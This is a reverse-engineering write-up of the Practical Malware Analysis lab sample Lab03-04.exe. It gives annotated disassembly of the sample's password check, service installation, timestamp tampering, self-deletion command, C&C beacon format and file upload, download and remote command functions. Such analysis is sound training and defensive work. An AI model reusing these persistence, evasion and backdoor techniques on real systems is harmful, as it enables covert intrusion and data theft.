0x09_Lab03-04
Overview
| Filename | Size | MD5 |
|---|---|---|
| Lab03-04.exe | 60 KB | b94af4a4d4af6eac81fc135abda1c40c |
TL;DR: A shy (or oversensitive) malware that delete itself if not started with the right commandline. It installs a service and stores its configuration in the registry key HKLM\SOFTWARE\Microsoft \XPS (value Configuration). Once installed, the malware beacons its C&C with a request matching the regular expression [a-zA-Z]{4}\/[a-zA-Z]{4}\.[a-zA-Z]{3} (PCRE syntax) and receives commands. The main functionalities are uploading and downloading files, as well as creating a pipe to execute arbitrary commands. To delete itself, it executes the command cmd.exe /c del C:<malware_path> >> NUL.
Tools: IDA Free, x32dbg
IDB: Lab03-04.i64
Commandline
The code starts by parsing the commandline. If the malware is given the wrong arguments, it deletes itself. Below is a list of all the possibilities:
- Lab03-04.exe -in abcd
- Lab03-04.exe -in <ServiceName> abcd
- Lab03-04.exe -re abcd
- Lab03-04.exe -re <ServiceName> abcd
- Lab03-04.exe -cc abcd
- Lab03-04.exe -c x x x x abcd
- Lab03-04.exe
Where -in stands for something in the line of “install” and -re for “remove”. -c and -cc are related to the configuration of the malware. If no arguments are provided, the default behaviour is to check the existence of the configuration in the registry. If no config is found the malware deletes itself and exits, else it enters its main malicious function.
In all but one case, the last argument has to be the string “abcd”. The next section gives more information about this check.
Check of the last argument
The following instructions are seen at the beginning of the function _main():
1
2
3
4
5
6
7
8
9
10
11
12
.text:00402AFD cmp [ebp+argc], 1
.text:00402B01 jnz short has_args
[...] ; call delete routine
.text:00402B1D has_args:
.text:00402B1D mov eax, [ebp+argc]
.text:00402B20 mov ecx, [ebp+argv]
.text:00402B23 mov edx, [ecx+eax*4-4] ; pLast
.text:00402B27 mov [ebp+ptr_last_arg], edx
.text:00402B2A mov eax, [ebp+ptr_last_arg]
.text:00402B2D push eax
.text:00402B2E call CheckLastArg
In the snippet above, argc is the total number of argument of the commandline (the first one being the path of the malware being executed), and argv is a table of pointers to each argument of the commandline. At address 0x00402B23, a pointer to the last argument is retrieved. Below is a layout of the memory if the commandline has, for example, 3 arguments:
1
2
3
4
5
6
7
8
9
; eax=argc=3
ecx edx=ecx+(3*4-4)
| |
v v
+---------+---------+---------+
| ptrArg1 | ptrArg2 | ptrArg3 |
+---------+---------+---------+
4 bytes 4 bytes 4 bytes
The last argument is checked inside function 0x00402510 (renamed CheckLastArg()).
First, its length has to be 4 bytes:
1
2
3
4
5
6
7
8
9
10
.text:00402515 mov edi, [ebp+ptrLastArg]
.text:00402518 or ecx, 0FFFFFFFFh
.text:0040251B xor eax, eax
.text:0040251D repne scasb ; scan string until \x00
.text:0040251F not ecx
.text:00402521 add ecx, 0FFFFFFFFh
.text:00402524 cmp ecx, 4 ; length
.text:00402527 jz short length_4
.text:00402529 xor eax, eax
.text:0040252B jmp short badgirl
Second, it has to start with letter a:
1
2
3
4
5
6
7
8
.text:0040252D mov eax, [ebp+ptrLastArg]
.text:00402530 mov cl, [eax] ; x[0]
.text:00402532 mov [ebp+tmp], cl
.text:00402535 movsx edx, [ebp+tmp]
.text:00402539 cmp edx, 'a'
.text:0040253C jz short is_a
.text:0040253E xor eax, eax
.text:00402540 jmp short badgirl
Third, the next letter has to be b:
1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00402542 is_a:
.text:00402542 mov eax, [ebp+ptrLastArg]
.text:00402545 mov cl, [eax+1] ; x[1]
.text:00402548 mov [ebp+tmp], cl
.text:0040254B mov edx, [ebp+ptrLastArg]
.text:0040254E mov al, [ebp+tmp]
.text:00402551 sub al, [edx] ; x[1]-0x61
.text:00402553 mov [ebp+tmp], al
.text:00402556 movsx ecx, [ebp+tmp]
.text:0040255A cmp ecx, 1 ; 1=0x62-0x61
.text:0040255D jz short is_b
.text:0040255F xor eax, eax
.text:00402561 jmp short badgirl
Fourth, the following letter has to be c:
1
2
3
4
5
6
7
8
9
10
11
12
.text:00402563 is_b:
.text:00402563 mov al, [ebp+tmp] ; 1
.text:00402566 mov dl, 63h
.text:00402568 imul dl ; al*dl=1*0x63
.text:0040256A mov [ebp+tmp], al
.text:0040256D movsx eax, [ebp+tmp]
.text:00402571 mov ecx, [ebp+ptrLastArg]
.text:00402574 movsx edx, byte ptr [ecx+2]
.text:00402578 cmp eax, edx
.text:0040257A jz short is_c
.text:0040257C xor eax, eax
.text:0040257E jmp short badgirl
Fifth, the last letter has to be d:
1
2
3
4
5
6
7
8
9
10
11
.text:00402580 is_c:
.text:00402580 mov al, [ebp+tmp]
.text:00402583 add al, 1 ; 0x63+1
.text:00402585 mov [ebp+tmp], al
.text:00402588 movsx ecx, [ebp+tmp]
.text:0040258C mov edx, [ebp+ptrLastArg]
.text:0040258F movsx eax, byte ptr [edx+3]
.text:00402593 cmp ecx, eax
.text:00402595 jz short is_d
.text:00402597 xor eax, eax
.text:00402599 jmp short badgirl
Argument -in
Argument -in can be used with or without an additional string after it. If no additional string is provided, function 0x004025B0 (renamed GetBaseFilename()) is called: it uses GetModuleFileNameA and __splitpath() to return the name of the malware (without its extension) in a buffer. This string will be used to set the parameters lpDisplayName and lpServiceName during service creation.
Whether an additional string is provided or not, the code flow will reach function 0x00402600 (renamed Install()), which will install the malware. Malware installation is explained in the dedicated section.
Argument -re
Argument -re follows the same logic as argument -in: if no service name is provided, the default is the base name of the malware.
Whether a service name is provided or not, the code flow will reach function 0x00402900 (renamed Remove()), which will remove the malware. More information are given in the section dedicated to removal.
Argument -cc
Argument -cc is used without additional parameter and prints the configuration stored in the registry.
Argument -c
Argument -c is used with 4 parameters and changes the malware config stored in the registry.
No argument
If executed without arguments, the malware checks the presence of its configuration in the registry. It deletes itself if no config is found, else it enters function 0x00402360 (renamed (Backdoor()). This function allows to upload / download files from / to the infected host, and to execute arbitrary commands.
Installation
Creating the service
Malware installation start in function 0x00402600 (renamed Install()).
After requesting an all access handle to the SCM (code not shown), it creates an auto-start shared service:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:004027D7 push 0 ; lpPassword
.text:004027D9 push 0 ; lpServiceStartName
.text:004027DB push 0 ; lpDependencies
.text:004027DD push 0 ; lpdwTagId
.text:004027DF push 0 ; lpLoadOrderGroup
.text:004027E1 lea eax, [ebp+Src] ; %SYSTEMROOT%\\system32\\Lab03-04.exe
.text:004027E7 push eax ; lpBinaryPathName
.text:004027E8 push SERVICE_ERROR_NORMAL ; dwErrorControl
.text:004027EA push SERVICE_AUTO_START ; dwStartType
.text:004027EC push SERVICE_WIN32_SHARE_PROCESS ; dwServiceType
.text:004027EE push 0F01FFh ; dwDesiredAccess
.text:004027F3 lea ecx, [ebp+DisplayName]
.text:004027F9 push ecx ; lpDisplayName
.text:004027FA mov edx, [ebp+lpServiceName]
.text:004027FD push edx ; lpServiceName
.text:004027FE mov eax, [ebp+hSCManager]
.text:00402804 push eax ; hSCManager
.text:00402805 call ds:CreateServiceA
Where lpBinaryPath points to the string C:\Windows\system32\Lab03-04.exe.
The parameter lpDisplayName points to the string <ServiceName> Manager Service: this is the name displayed when we explore services with the GUI app.
The parameter lpServiceName points to the string <ServiceName>. This is the name of the subkey where the service is registered when we explore the registry key HKLM\SYSTEM\ControlSet001\Services.
The variable <ServiceName> is simply the string following the -in parameter, or the malware basename if no string was provided.
Moving to the System32 folder
If the creation of the service is successful, the malware drops a copy of itself to the path C:\Windows\system32\Lab03-04.exe:
1
2
3
4
5
6
.text:00402891 push 0 ; bFailIfExists
.text:00402893 lea ecx, [ebp+BinaryPathName] ; C:\Windows\system32\Lab03-04.exe
.text:00402899 push ecx ; lpNewFileName
.text:0040289A lea edx, [ebp+SelfPath] ; instance currently executed
.text:004028A0 push edx ; lpExistingFileName
.text:004028A1 call ds:CopyFileA
Tampering with timestamps
After the copy, the malware calls function 0x004015B0 that alters NTFS time-related information of the newly created file. This function retrieves the path of kernel32.dll and calls function 0x004014E0 (renamed CopyTimestamps()):
1
2
3
4
5
.text:0040160D lea eax, [ebp+path_to_kernel32]
.text:00401613 push eax ; lpFileName
.text:00401614 mov ecx, [ebp+path_to_binary_service]
.text:00401617 push ecx ; LPCSTR
.text:00401618 call CopyTimestamps
Function CopyTimestamps() uses the API CreateFileA to get a handle with read permission on kernel32.dll (code not shown), and calls GetFileTime to retrieve its time information:
1
2
3
4
5
6
7
8
9
.text:00401515 lea ecx, [ebp+LastWriteTime]
.text:00401518 push ecx ; lpLastWriteTime
.text:00401519 lea edx, [ebp+LastAccessTime]
.text:0040151C push edx ; lpLastAccessTime
.text:0040151D lea eax, [ebp+CreationTime]
.text:00401520 push eax ; lpCreationTime
.text:00401521 mov ecx, [ebp+tmp]
.text:00401524 push ecx ; hFile
.text:00401525 call ds:GetFileTime
Then it calls CreateFileA a second time, this time to get a handle with write permissions on the malware copied in the folder System32 (code not shown). Using this handle and the time information from kernel32.dll, it calls SetFileTime and change the time-related information of the malware:
1
2
3
4
5
6
7
8
9
.text:00401569 lea edx, [ebp+LastWriteTime]
.text:0040156C push edx ; lpLastWriteTime
.text:0040156D lea eax, [ebp+LastAccessTime]
.text:00401570 push eax ; lpLastAccessTime
.text:00401571 lea ecx, [ebp+CreationTime]
.text:00401574 push ecx ; lpCreationTime
.text:00401575 mov edx, [ebp+tmp]
.text:00401578 push edx ; hFile
.text:00401579 call ds:SetFileTime
This trick is to avoid having the malware poping at the top of the list when sorting files in System32 according to, for example, their creation date.
Saving the config in the registry
The last step of the installation is writting some configuration information in the registry. This is the purpose of function 0x00401070, here renamed REG_SaveConfigToRegistry():
1
2
3
4
5
.text:004028CC push offset a60 ; "60"
.text:004028D1 push offset a80 ; "80"
.text:004028D6 push offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"
.text:004028DB push offset aUps ; "ups"
.text:004028E0 call REG_SaveConfigToRegistry
Inside this function, a new registry key named SOFTWARE\Microsoft \XPS (note the whitespace) is created in the hive HKLM:
1
2
3
4
5
6
7
8
9
10
.text:0040118A lea ecx, [ebp+phkResult]
.text:00401190 push ecx ; phkResult
.text:00401191 push 0 ; lpSecurityAttributes
.text:00401193 push KEY_ALL_ACCESS ; samDesired
.text:00401198 push 0 ; dwOptions
.text:0040119A push 0 ; lpClass
.text:0040119C push 0 ; Reserved
.text:0040119E push offset SubKey ; "SOFTWARE\\Microsoft \\XPS"
.text:004011A3 push HKEY_LOCAL_MACHINE ; hKey
.text:004011A8 call ds:RegCreateKeyExA
The registry value Configuration is added to this key. It is set to contain up to 0x1000 bytes of binary data:
1
2
3
4
5
6
7
8
9
.text:004011B9 push 1000h ; cbData
.text:004011BE lea edx, [ebp+Data]
.text:004011C4 push edx ; lpData
.text:004011C5 push REG_BINARY ; dwType
.text:004011C7 push 0 ; Reserved
.text:004011C9 push offset ValueName ; "Configuration"
.text:004011CE mov eax, [ebp+phkResult]
.text:004011D4 push eax ; hKey
.text:004011D5 call ds:RegSetValueExA
Below is a memory dump of the binary data associated to this registry value:
1
2
3
4
5
0019C2BC 75 70 73 00 68 74 74 70 3A 2F 2F 77 77 77 2E 70 ups.http://www.p
0019C2CC 72 61 63 74 69 63 61 6C 6D 61 6C 77 61 72 65 61 racticalmalwarea
0019C2DC 6E 61 6C 79 73 69 73 2E 63 6F 6D 00 38 30 00 36 nalysis.com.80.6
0019C2EC 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0...............
[...]
Some elements already make sense, such as the domain and port 80. I haven’t seen any specific use of the data ups or 60.
Removal
Deleting the service
Again, an all access handle is requested to the SCM. Then APIs OpenServiceA and DeleteService are called:
1
2
3
4
5
6
7
8
9
10
11
.text:00402934 push SERVICE_ALL_ACCESS ; dwDesiredAccess
.text:00402939 mov eax, [ebp+lpServiceName]
.text:0040293C push eax ; lpServiceName
.text:0040293D mov ecx, [ebp+hSCManager]
.text:00402943 push ecx ; hSCManager
.text:00402944 call ds:OpenServiceA
.text:0040294A mov [ebp+hService], eax
[...]
.text:00402970 mov eax, [ebp+hService]
.text:00402976 push eax ; hService
.text:00402977 call ds:DeleteService
Deleting the malware
The path to the malware is built, and the API DeleteFile is called:
1
2
3
.text:00402A96 lea edx, [ebp+Dst] ; C:\\Windows\\system32\\Lab03-04.exe
.text:00402A9C push edx ; lpFileName
.text:00402A9D call ds:DeleteFileA
Wiping the config
The config is deleted in two steps. First, 4 pointers to a null dword are pushed on the stack and used to overwrite any existing config:
1
2
3
4
5
.text:00402AAE push offset dwNull
.text:00402AB3 push offset dwNull
.text:00402AB8 push offset dwNull
.text:00402ABD push offset dwNull
.text:00402AC2 call REG_SaveConfigToRegistry
Opening the registry key where the config is stored:
1
2
3
4
5
6
7
8
9
10
11
.text:00401188 push 0 ; lpdwDisposition
.text:0040118A lea ecx, [ebp+phkResult]
.text:00401190 push ecx ; phkResult
.text:00401191 push 0 ; lpSecurityAttributes
.text:00401193 push KEY_ALL_ACCESS ; samDesired
.text:00401198 push 0 ; dwOptions
.text:0040119A push 0 ; lpClass
.text:0040119C push 0 ; Reserved
.text:0040119E push offset SubKey ; "SOFTWARE\\Microsoft \\XPS"
.text:004011A3 push HKEY_LOCAL_MACHINE ; hKey
.text:004011A8 call ds:RegCreateKeyExA
Saving the null dwords:
1
2
3
4
5
6
7
8
9
10
; data -> zeroed buffer
.text:004011B9 push 1000h ; cbData
.text:004011BE lea edx, [ebp+Data]
.text:004011C4 push edx ; lpData
.text:004011C5 push REG_BINARY ; dwType
.text:004011C7 push 0 ; Reserved
.text:004011C9 push offset ValueName ; "Configuration"
.text:004011CE mov eax, [ebp+phkResult]
.text:004011D4 push eax ; hKey
.text:004011D5 call ds:RegSetValueExA
Deleting the registry key
Once the config has been wiped, the value Configuration is deleted:
1
2
3
4
.text:00401244 push offset ValueName ; "Configuration"
.text:00401249 mov ecx, [ebp+phkResult]
.text:0040124C push ecx ; hKey
.text:0040124D call ds:RegDeleteValueA
Backdoor
The malicious function starts by retrieving the config data from the registry, and enters function 0x00402020 (renamed NET_IO()).
Beaconing and receiving commands
Function NET_IO() starts with a call to function 0x00401E60 (NET_RequestCommands()) which sends a beacon to the C&C and receives commands.
The beacon is generated inside function 0x401D80 (renamed NET_GenRandomResource()): it is a randomly generated resource location matching the following regex pattern:
[a-zA-Z]{4}\/[a-zA-Z]{4}\.[a-zA-Z]{3}
This regex matches, for exemple, a string like “abcd/efgh.ijk”.
The beacon is sent by the function 0x401AF0 (NET_SendsBeaconAndReceivesCommand()). Below is an example request observed while debugging:
GET FXtt/nHZG.klA HTTP/1.0\x0D\x0A\x0D\x0A
If the beacon is successfully sent, up to 0x1000 bytes of data are received by chunks of 0x200 bytes. Each chunk is expected to ends with the terminator \r\n\r\n (\x0D\x0A\x0D\x0A), else the connection is closed by the client.
Back to the function NET_RequestCommands(), data received from the C&C are processed. The useful content is plaintext located between the markers \x60\x27\x60\x27\x60\x00 (marker start) and \x27\x60\x27\x60\x27\x00 (marker end).
Dispatching commands
Back to NET_IO(), commands are dispatched. It can be one of the following:
- UPLOAD
- DOWNLOAD
- CMD
- SLEEP
- NOTHING
Both UPLOAD and DOWNLOAD are from the point of view of the remote operator. So, UPLOAD will write to the disk of the infected host while DOWNLOAD will read from the disk of the infected host.
Most of the commands are followed by one or two paramters, and these parameters are retrieved with calls to _strtok(). Below illustrate the case of the SLEEP command:
1
2
3
4
5
6
7
8
9
10
11
12
13
; expected: "SLEEP SleepTime"
.text:00402076 cmd_sleep:
.text:00402076 push offset space_ascii ; \x20
.text:0040207B lea edx, [ebp+received_content]
.text:00402081 push edx ; char *
.text:00402082 call _strtok ; break into tokens and points to the first one
.text:00402087 add esp, 8
.text:0040208A mov [ebp+token_sleep], eax
.text:00402090 push offset space_ascii ; " "
.text:00402095 push 0 ; NULL
.text:00402097 call _strtok ; get next token
.text:0040209C add esp, 8
.text:0040209F mov [ebp+token_sleep], eax ; save it
The first call to _strtok() takes the following parameters:
- A pointer to the content received from the C2
- A pointer to a delimiter (here a space)
The function uses the delimiter parameter to break the string into a serie of tokens, and returns a pointer to the first one. In Python we’d get something like this: ["SLEEP", "X"], with “X” being the string representation of an integer. The second call to to _strtok() takes the following parameters:
- null
- A pointer to the same delimiter (a space)
This time, the call will return a pointer to the second token (“X”).
Command UPLOAD
The expected format of the command is UPLOAD Port FileName. The values of Port and FileName are retrieved through calls to _strtok() as explained previously. This command leads to a call to function 0x004019E0 (renamed NET_Upload()):
1
2
3
4
5
6
7
8
.text:00402153 mov [ebp+token_upload], eax ; token[2]=FileName
.text:00402159 mov edx, [ebp+token_upload]
.text:0040215F push edx
.text:00402160 mov eax, [ebp+port]
.text:00402166 push eax ; token[1]=port
.text:00402167 mov ecx, [ebp+C2]
.text:0040216A push ecx ; malicious domain
.text:0040216B call NET_Upload
Inside the function NET_Upload(), a socket connection is established with the C&C and the API CreateFileA is used to get a file handle with write permission (code not shown). Then, APIs recv and WriteFile are called in a loop to download and write an arbitrary file by chunks of 0x200 bytes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:00401A53 download_continue:
.text:00401A53 push 0 ; flags
.text:00401A55 push 200h ; len
.text:00401A5A lea edx, [ebp+Buffer]
.text:00401A60 push edx ; buf
.text:00401A61 mov eax, [ebp+s]
.text:00401A64 push eax ; s
.text:00401A65 call ds:recv
.text:00401A6B mov [ebp+nNumberOfBytesToWrite], eax
.text:00401A6E push 0 ; lpOverlapped
.text:00401A70 push 0 ; lpNumberOfBytesWritten
.text:00401A72 mov ecx, [ebp+nNumberOfBytesToWrite]
.text:00401A75 push ecx ; nNumberOfBytesToWrite
.text:00401A76 lea edx, [ebp+Buffer]
.text:00401A7C push edx ; lpBuffer
.text:00401A7D mov eax, [ebp+hFile]
.text:00401A83 push eax ; hFile
.text:00401A84 call ds:WriteFile
[...]
.text:00401AAE write_success:
.text:00401AAE cmp [ebp+nNumberOfBytesToWrite], 0
.text:00401AB2 jg short download_continue
After that, the time-related information of the file are altered using the method described in the Installation section.
Command DOWNLOAD
The expected format of the command is DOWNLOAD Port FileName:
1
2
3
4
5
6
7
.text:0040220D mov edx, [ebp+token_download] ; token[2]=FileName
.text:00402213 push edx
.text:00402214 mov eax, [ebp+port_]
.text:0040221A push eax ; token[1]=port
.text:0040221B mov ecx, [ebp+C2]
.text:0040221E push ecx ; C&C
.text:0040221F call NET_Download
Inside the function NET_Download(), a connection is established with the C&C and the API CreateFileA is used, this time to get a file handle with read permission (code not shown).
The API ReadFile is called in a loop to read the requested file by chunks of 0x200 bytes until the error ERROR_HANDLE_EOF occurs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:004018E3 read_continue:
.text:004018E3 mov [ebp+total_sent], 0
.text:004018ED push 0 ; lpOverlapped
.text:004018EF lea edx, [ebp+NumberOfBytesRead]
.text:004018F2 push edx ; lpNumberOfBytesRead
.text:004018F3 push 200h ; nNumberOfBytesToRead
.text:004018F8 lea eax, [ebp+Buffer]
.text:004018FE push eax ; lpBuffer
.text:004018FF mov ecx, [ebp+hFile]
.text:00401905 push ecx ; hFile
.text:00401906 call ds:ReadFile
.text:0040190C test eax, eax ; 0 if an error occurred
.text:0040190E jnz short send_continue
.text:00401910 call ds:GetLastError
.text:00401916 cmp eax, ERROR_HANDLE_EOF
.text:00401919 jz short end_of_file
[...]
.text:004019A8 cmp [ebp+NumberOfBytesRead], 0
.text:004019AC ja read_continue
Within this loop is a second one sending the data with the API send:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:0040193E end_of_file:
.text:0040193E mov [ebp+NumberOfBytesRead], 0
.text:00401945 send_continue:
.text:00401945 push 0 ; flags
.text:00401947 mov ecx, [ebp+NumberOfBytesRead]
.text:0040194A push ecx ; len
.text:0040194B lea edx, [ebp+Buffer]
.text:00401951 push edx ; buf
.text:00401952 mov eax, [ebp+s]
.text:00401955 push eax ; s
.text:00401956 call ds:send
.text:0040195C mov [ebp+current_sent], eax
.text:00401962 cmp [ebp+current_sent], 0FFFFFFFFh
.text:00401969 jnz short update_counter
[...]
.text:0040198B update_counter:
.text:0040198B mov eax, [ebp+total_sent]
.text:00401991 add eax, [ebp+current_sent]
.text:00401997 mov [ebp+total_sent], eax
.text:0040199D mov ecx, [ebp+total_sent]
.text:004019A3 cmp ecx, [ebp+NumberOfBytesRead]
.text:004019A6 jb short send_continue
.text:004019A8 cmp [ebp+NumberOfBytesRead], 0 ; data from the file
.text:004019AC ja read_continue
; exit
Command CMD
The expected format of the command is CMD Port Command. This command calls _popen, which creates a pipe (in read+binary mode) and executes a command:
1
2
3
4
5
6
7
.text:004022BB mov [ebp+token_cmd], eax ; token[2]=command to execute
.text:004022C1 push offset aRb ; "rb"
.text:004022C6 mov edx, [ebp+token_cmd]
.text:004022CC push edx ; char *
.text:004022CD call __popen
.text:004022D2 add esp, 8
.text:004022D5 mov [ebp+pFILE], eax
As stated in the MSDN, the other end of the pipe is associated with the spawned command’s stdin and stdout.
The stream returned by _popen will be used inside the function SendStreamContent():
1
2
3
4
5
6
7
.text:004022EB mov eax, [ebp+pFILE] ; stream
.text:004022F1 push eax
.text:004022F2 mov ecx, [ebp+port] ; token[1]=port
.text:004022F8 push ecx
.text:004022F9 mov edx, [ebp+C2] ; C&C
.text:004022FC push edx
.text:004022FD call SendStreamContent
Similarly to the preceeding commands, the function SendStreamContent() starts by establishing a socket connection to the C&C (code not shown). Then it enters a first loop where it uses _fread to read the content of the stream (stdin and stdout of the spawned command) by chunks of 0x200 bytes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:004017C2 continue_reading:
.text:004017C2 mov [ebp+total_sent], 0
.text:004017CC mov eax, [ebp+pFILE]
.text:004017CF push eax ; FILE *
.text:004017D0 push 200h ; max items to read
.text:004017D5 push 1 ; size of 1 item
.text:004017D7 lea ecx, [ebp+buf]
.text:004017DD push ecx ; void *
.text:004017DE call _fread
.text:004017E3 add esp, 10h
.text:004017E6 mov [ebp+len], eax
[...]
.text:0040183F cmp [ebp+len], 0
.text:00401843 ja continue_reading
Within this first loop is a second one, used to send to the attacker data read from the stream:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:004017E9 continue_sending:
.text:004017E9 push 0 ; flags
.text:004017EB mov edx, [ebp+len]
.text:004017EE push edx ; len
.text:004017EF lea eax, [ebp+buf]
.text:004017F5 push eax ; buf
.text:004017F6 mov ecx, [ebp+s]
.text:004017F9 push ecx ; s
.text:004017FA call ds:send
.text:00401800 mov [ebp+current_sent], eax
.text:00401806 cmp [ebp+current_sent], 0FFFFFFFFh
.text:0040180D jnz short update_counter
[...]
.text:00401822 update_counter:
.text:00401822 mov eax, [ebp+total_sent]
.text:00401828 add eax, [ebp+current_sent]
.text:0040182E mov [ebp+total_sent], eax
.text:00401834 mov ecx, [ebp+total_sent]
.text:0040183A cmp ecx, [ebp+len]
.text:0040183D jb short continue_sending
.text:0040183F cmp [ebp+len], 0 ; data read from the stream
.text:00401843 ja continue_reading
Command SLEEP
The expected format of the command is SLEEP SleepTime:
1
2
3
4
5
6
7
8
9
.text:004020A5 mov eax, [ebp+token_sleep] ; token[1]
.text:004020AB push eax ; char *
.text:004020AC call _atoi ; ascii to integer
.text:004020B1 add esp, 4
.text:004020B4 mov [ebp+sleep_time], eax ; in seconds
.text:004020BA mov ecx, [ebp+sleep_time]
.text:004020C0 imul ecx, 1000
.text:004020C6 push ecx ; dwMilliseconds
.text:004020C7 call ds:Sleep
Command NOTHING
If the received command doesn’t match any of the ones presented above, we reach a code block comparing it with the string “NOTHING”. The result of the string comparison is not taken into account, the dispatch function just exits.
EOF